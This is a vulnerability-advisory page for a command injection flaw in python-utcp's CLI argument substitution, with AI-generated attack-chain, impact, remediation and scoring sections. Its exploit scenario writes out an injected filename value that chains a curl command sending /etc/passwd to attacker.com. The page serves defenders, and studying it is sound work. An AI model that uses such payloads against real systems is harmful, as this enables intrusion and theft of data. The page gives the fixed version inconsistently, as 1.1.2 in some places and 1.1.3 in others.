Skip to main content

python-utcp CVE-2026-45369

| EUVDEUVD-2026-30475 HIGH
OS Command Injection (CWE-78)
2026-05-14 security-advisories@github.com GHSA-33p6-5jxp-p3x4
8.3
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify network-accessible python-utcp service
  2. Delivery
    Craft malicious tool_args with shell metacharacters
  3. Exploit
    Submit tool invocation request requiring user/service interaction
  4. Install
    Trigger vulnerable _substitute_utcp_args method
  5. C2
    Inject commands into bash/PowerShell script
  6. Execute
    Execute arbitrary code as service user
  7. Impact
    Exfiltrate data or establish persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the python-utcp service to accept tool_args parameters from untrusted sources over a network interface (AV:N). The application must invoke the vulnerable cli_communication_protocol.py module to process tool definitions containing UTCP_ARG placeholders. User interaction is required (UI:R) - specifically, a legitimate user or service must trigger execution of a tool call containing the attacker's malicious tool_args payload, which typically occurs when the application processes user-submitted job requests, API calls, or workflow definitions. Attack complexity is high (AC:H) because the attacker must understand the application's tool definition schema and placeholder syntax to craft valid-looking payloads that pass application-layer validation while still injecting shell metacharacters. No authentication is required (PR:N) if the tool invocation interface is exposed to unauthenticated users. Limiting factors include: applications that only accept tool definitions from trusted administrators (not user-supplied tool_args) are not exploitable; systems that validate or sanitize tool_args at the application layer before passing to python-utcp may block injection attempts; deployments where python-utcp processes only hardcoded tool definitions with no user-controlled parameters face zero risk despite running vulnerable code.

Impact

Real-world risk is high but requires specific deployment conditions. The CVSS vector AV:N/AC:H/PR:N/UI:R indicates network-accessible attack surface with high complexity and required user interaction, meaning exploitation depends on the application accepting network-based tool invocations and a victim user triggering the vulnerable code path. The scope change (S:C) is critical - successful exploitation enables breaking out of the intended execution context, potentially escaping containers or sandboxes. CVSS base score of 8.3 appropriately reflects the severe impact (complete system compromise via RCE) tempered by the exploitation prerequisites. No EPSS data provided, but absence from CISA KEV and lack of public exploit code (beyond the PoC in the advisory) suggests this is not yet widely exploited in the wild. However, the detailed GitHub security advisory with working proof-of-concept significantly lowers the barrier to weaponization. Organizations using python-utcp in multi-tenant environments or processing untrusted tool definitions face immediate risk. The patch introduces a breaking behavioral change (single placeholder no longer expands to multiple shell tokens), which may delay adoption in production environments where tool definitions rely on the old multi-token expansion behavior. Priority for patching depends on whether the application accepts tool_args from untrusted sources - systems with hardcoded or admin-only tool definitions face lower practical risk despite the high CVSS score.

Exploit ScenarioDerived

An attacker controls tool_args input to a python-utcp service that executes CLI tools based on user-provided parameters. The attacker crafts a malicious filename argument such as 'data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' for a tool expecting a --input parameter. When the vulnerable _substitute_utcp_args method processes this, it constructs the shell command 'python script.py --input data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' and executes it via /bin/bash -c. The injected curl command exfiltrates the system's password file to the attacker's server. On Windows systems, similar injection using PowerShell syntax enables registry access, credential theft, or malware download. The GitHub advisory confirms this attack pattern with a working proof-of-concept, making exploitation straightforward for attackers with access to tool invocation interfaces.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Command injection in python-utcp allows remote attackers to execute arbitrary shell commands on Unix and Windows systems when user-controlled tool arguments are processed by the CLI communication protocol module. The _substitute_utcp_args method in cli_communication_protocol.py directly embeds unsanitized user input into bash or PowerShell commands without escaping, enabling full remote code execution. Vendor-released patch available in version 1.1.2 with shell-quoting mitigation (shlex.quote on Unix, single-quoted literals on Windows). CVSS 8.3 indicates high complexity and required user interaction, but scope change enables container/sandbox escape scenarios. No public exploit code or CISA KEV listing identified at time of analysis, though detailed proof-of-concept exists in the GitHub security advisory demonstrating data exfiltration via curl.

RemediationAI

Upgrade to utcp-cli version 1.1.2 or later immediately, available via PyPI (pip install --upgrade utcp-cli). The patched version applies shell-quoting to all UTCP_ARG placeholder substitutions using shlex.quote on Unix and PowerShell-safe single-quote literals on Windows, ensuring each placeholder expands to exactly one shell token. Critical behavioral change: tool definitions that previously relied on a single placeholder expanding to multiple shell tokens (e.g., UTCP_ARG_flags_UTCP_END expanding to --verbose --debug) must be refactored to use one placeholder per intended argument. Organizations should audit existing tool definitions and update them accordingly during upgrade testing. No workaround exists for versions prior to 1.1.2 other than completely rejecting all user-controlled tool_args inputs at the application boundary, which may not be feasible for legitimate use cases. For environments where immediate upgrade is blocked by the behavioral change, implement application-layer input validation to reject tool_args containing shell metacharacters (semicolons, pipes, backticks, dollar signs, newlines, ampersands), though this defense-in-depth measure is fragile and should only be temporary until proper upgrade. Review server logs for suspicious tool_args patterns that may indicate reconnaissance or exploitation attempts. Detailed patch implementation and migration guidance available in the GitHub advisory at the reference link above.

Affected VersionsENISA

python-utcp < 1.1.2

Affected Packages

pypi utcp-cli fix: 1.1.2
euvd python_utcp fix: 1.1.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Python-utcp is a Python implementation of the Universal Tool Calling Protocol, providing a CLI communication interface for executing external tools with parameterized arguments. The vulnerability resides in the cli_communication_protocol.py module's _substitute_utcp_args method, which performs string interpolation of UTCP_ARG_..._UTCP_END placeholders within shell command templates. The affected code path invokes /bin/bash -c on Unix systems and powershell.exe -Command on Windows to execute dynamically constructed scripts containing user-supplied values. This represents a classic CWE-78 OS Command Injection flaw where metacharacters (semicolons, pipes, backticks, command substitution operators) in tool_args parameters are interpreted as shell syntax rather than literal data. The CPE pip/utcp-cli indicates this is a PyPI-distributed package affecting versions through 1.1.1. The fix in 1.1.2 applies language-appropriate quoting primitives (Python's shlex.quote for POSIX shells, custom PowerShell single-quote escaping for Windows) to ensure each placeholder expands to exactly one shell token, preventing metacharacter interpretation.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
May 14, 2026 - 22:02 EUVD
CVE Published
May 14, 2026 - 21:16 nvd
HIGH 8.3

DescriptionCVE.org

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

Executive ViewAI

Why It Matters

python-utcp versions prior to 1.1.2 contain a command injection vulnerability in CLI argument processing that allows remote attackers to execute arbitrary commands on both Unix and Windows systems. This affects any organization using python-utcp to process untrusted user input through command-line interfaces, potentially enabling lateral movement, data exfiltration, and container escape in containerized deployments.

Business Impact: High
Compensating Controls

Apply vendor patch: Upgrade to python-utcp version 1.1.2 or later. Until patching is complete, restrict CLI argument inputs to whitelisted values only; disable or isolate python-utcp services that process untrusted external input; implement network-level controls to limit command execution scope and monitor process execution logs for suspicious shell activity.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
4
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy